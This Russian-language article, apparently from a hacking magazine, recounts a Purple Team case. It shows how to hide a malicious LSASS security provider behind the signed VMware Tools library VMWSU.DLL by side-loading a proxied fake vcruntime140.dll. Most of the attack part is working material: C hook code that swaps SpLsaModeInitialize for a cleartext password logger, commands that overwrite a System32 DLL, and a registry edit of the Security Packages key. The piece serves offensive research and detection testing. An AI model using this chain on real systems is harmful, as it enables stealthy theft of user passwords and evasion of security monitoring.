Нескучный байпас средств защиты подразумевает разглашение приватного кода, который от этого, скорее всего, обесценится. Поэтому я решил рассказать интересный кейс из опыта участия в Purple Team. Нам удалось надурить кастомное правило СЗИ, нацеленное на мониторинг зловредных SSP-модулей.

award-awillix-badge.svg xakep-badge.svg

Я считаю, что прямые манипуляции с памятью LSASS давно утратили свою эффективность из‑за того, что есть намного менее инвазивные методики получения кредов на внутряках и редтимах. Описанный далее случай претендует скорее на забавную «байку из склепа», нежели на серьезную технику зрелых злоумышленников. Однако тут присутствует мини‑ресерч, полезный для обучения.

Итак, пришли к нам представители синей команды и спросили, как может хацкер спрятать свой малварный SSP-провайдер вроде mimilib.dll от взгляда мониторинга, оставаясь при этом корректно зарегистрированным в системе. Отталкиваясь от того, что детект основывался на отслеживании состояния ключа HKLM\SYSTEM\currentcontrolset\control\lsa\Security Packages и проверки соответствующих DLL на наличие цифровых подписей, мы решили поресерчить существующие либы на предмет уязвимости к DLL Side-Loading.

WARNING

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор не несет ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.

banner.png

В поисках экспорта SpLsaModeInitialize

Соберем список легитимных библиотек из C:\WINDOWS\System32\*:

PS > Get-ChildItem C:\WINDOWS\System32\ -Filter *.dll -Recurse | % { $_.FullName } > \temp\dlls.txt 

Далее с помощью нехитрого скрипта на Python посмотрим на их экспорты с целью найти все DLL, которые предоставляют апи SpLsaModeInitialize:

PS > foreach ($line in Get-Content \temp\dlls.txt) { py \tools\pe_exports.py $line | findstr /i SpLsaModeInitialize } # C:\WINDOWS\System32\cloudAP.dll: SpLsaModeInitialize @1 
# C:\WINDOWS\System32\kerberos.dll: SpLsaModeInitialize @3 
# C:\WINDOWS\System32\msv1_0.dll: SpLsaModeInitialize @3 
# C:\WINDOWS\System32\negoexts.dll: SpLsaModeInitialize @1 
# C:\WINDOWS\System32\pku2u.dll: SpLsaModeInitialize @1 
# C:\WINDOWS\System32\schannel.dll: SpLsaModeInitialize @1 
# C:\WINDOWS\System32\TSpkg.dll: SpLsaModeInitialize @1 
# C:\WINDOWS\System32\VMWSU.DLL: SpLsaModeInitialize @1 
# C:\WINDOWS\System32\wdigest.dll: SpLsaModeInitialize @7

Содержимое pe_exports.py:

import sys, pefile, os

if not len(sys.argv[1:]):
  print ("Usage pe_exports.py FILE")
  exit(1)

for f in sys.argv[1:]:
    pe = pefile.PE(f)
    generate = False
    exports = []
    lib = os.path.basename(f)
    if '-gen' in sys.argv:
        generate = True
    exportSymbols = getattr(pe, 'DIRECTORY_ENTRY_EXPORT', None)
    if exportSymbols:
        for sym in exportSymbols.symbols:
            if not generate:
                try:
                    line = '{} @{}'.format(sym.name.decode(), sym.ordinal)
                except:
                    line = 'None @{}'.format(sym.ordinal)
                if sym.forwarder is not None:
                    line += ' -> {}'.format(sym.forwarder.decode())
                print('{}: {}'.format(f,line))
                continue
            if sym.name.decode() == 'DllMain': continue
            exports += ['   {name}={lib}.{name} @{ord}'.format(
                name = sym.name.decode(),
                ord = sym.ordinal,
                lib = '.'.join(lib.split('.')[:-1])
            )]

    if generate:
        print('''LIBRARY   BTREE
    EXPORTS
    {}
    '''.format('\n'.join(exports)))

Помимо дефолтных виндовых библиотек, в глаза сразу же бросается C:\WINDOWS\System32\VMWSU.DLL, которая оказалась частью пакета гостевых дополнений VMware Tools. С цифровой подписью у этой библиотеки все в норме.

vmwsu-dll-signature.png

Импорты VMWSU.DLL

Теперь глянем на импорты VMWSU.DLL.

vmwsu-dll-imports.png

Как видишь, эта библиотека, скорее всего, будет пытаться подтянуть функции vcruntime140.dll, которые не входят в набор обязательных компонентов ОС.

Подделка SSP и хукинг SpLsaModeInitialize

Проведем атаку DLL Side-Loading, нацеленную на подмену библиотеки vcruntime140.dll при загрузке VMWSU.DLL. Чтобы переопределить поведение экспорта SpLsaModeInitialize, мы воспользуемся классической техникой API-хукина.

Для начала соберем все экспорты vcruntime140.dll с помощью SharpDllProxy, чтобы наша поддельная библиотека VMWSU.DLL проксировала вызовы vcruntime140.dll к соответствующей легитимной библиотеке:

Cmd > .\SharpDllProxy.exe --dll C:\windows\system32\vcruntime140.dll 
[+] Reading exports from C:\windows\system32\vcruntime140.dll... 
[+] Redirected 71 function calls from vcruntime140.dll to tmp50CA.dll 
[+] Exporting DLL C source to C:\Repos\SharpDllProxy\SharpDllProxy\bin\Debug\netcoreapp3.1\output_vcruntime140\vcruntime140_pragma.c

Теперь, вооружившись примером малварного SSP с Red Team Notes, а также честно позаимствовав шаблон для хукинга из проекта ShellcodeFluctuation] (я уже использовал его в статье «Флуктуация шелл-кода. Пишем инжектор для динамического шифрования полезной нагрузки в памяти»), набросаем быстрый трамплин, который будет менять поведение SpLsaModeInitialize. Полный код доступен у меня на GitHub.

bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers)
{
    uint8_t trampoline[] = {
        0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
        0x41, 0xFF, 0xE2                                            // jmp r10
    };

    uint64_t addr = (uint64_t)(jumpAddress);
    memcpy(&trampoline[2], &addr, sizeof(addr));

    DWORD dwSize = sizeof(trampoline);
    DWORD oldProt = 0;
    bool output = false;

    if (installHook)
    {
        if (buffers != NULL)
            memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize);

        if (::VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &oldProt))
        {
            memcpy(addressToHook, trampoline, dwSize);
            output = true;
        }
    }
    else
    {
        dwSize = buffers->originalBytesSize;

        if (::VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &oldProt))
        {
            memcpy(addressToHook, buffers->originalBytes, dwSize);
            output = true;
        }
    }

    ::VirtualProtect(addressToHook, dwSize, oldProt, &oldProt);
    return output;
}

void NTAPI MySpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables)
{
    HookTrampolineBuffers buffers = { 0 };
    buffers.originalBytes = g_hookedSpLsaModeInitialize.spLsaModeInitializeStub;
    buffers.originalBytesSize = sizeof(g_hookedSpLsaModeInitialize.spLsaModeInitializeStub);

    HINSTANCE library = LoadLibraryA("VMWSU.DLL");
    FARPROC spLsaModeInitializeAddress = GetProcAddress(library, "SpLsaModeInitialize");

    fastTrampoline(false, (BYTE*)spLsaModeInitializeAddress, (void*)&MySpLsaModeInitialize, &buffers);

    *PackageVersion = SECPKG_INTERFACE_VERSION;
    *ppTables = SecurityPackageFunctionTable;
    *pcTables = 1;

    fastTrampoline(true, (BYTE*)spLsaModeInitializeAddress, (void*)&MySpLsaModeInitialize, NULL);
}

Очевидно, что скопипащенный с ired.team код SSP палится всем чем можно даже в статике, однако наша цель в данном случае — не избежать детектов на диске, а найти способ сокрытия целевой библиотеки из соответствующего ключа реестра.

Компилируем как DLL с корректными экспортами, полученными с помощью SharpDllProxy (output_vcruntime140\vcruntime140_pragma.c/), и копируем результат как C:\WINDOWS\System32\vcruntime140.dll. Туда же кладем исходную библиотекой, предварительно переименовав в output_vcruntime140\tmp50CA.dll:

Cmd > move \windows\system32\vcruntime140.dll \windows\system32\vcruntime140.dll.bak 
Cmd > copy output_vcruntime140\tmp50CA.dll \windows\system32\tmp50CA.dll 
Cmd > copy C:\Repos\Dll1\x64\Release\Dll1.dll \windows\system32\vcruntime140.dll 

Отмечу, что не обязательно класть оригинальную переименованную библиотеку tmp50CA.dll в SYSTEM32 — достаточно при определении прагм с экспортами указать полный путь до либы.

Теперь добавляем VMWSU.DLL в качестве провайдера безопасности LSASS:

Cmd > reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d 
"kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0vmwsu" /t REG_MULTI_SZ /f 

И вуаля — в реестре значение ключа Security Packages содержит только легитимные подписанные DLL, однако при подгрузке VMWSU.DLL будет загружаться vcruntime140.dll, которая заменит вызов SpLsaModeInitialize на сборщик паролей в открытом виде. При этом работоспособность системы не пострадает, так как вызовы к vcruntime140.dll будут проксироваться до оригинальной библиотеки.

Перезагружаемся, логинимся, проверяем файл C:\Temp\logged-pw.txt и, о боже, обнаруживаем в нем только что введенный пароль!

Вывод

Мне удалось обнаружить небольшой зиродей для виртуальных машинок с навешанным VMware Tools. Несмотря на то, что этот кейс вряд ли сработает в боевых условиях, все же я считаю, что некоторые защитные средства чрезмерно доверчиво относятся к активности, исходящей от подписанных образов PE. А ведь ими тоже можно манипулировать!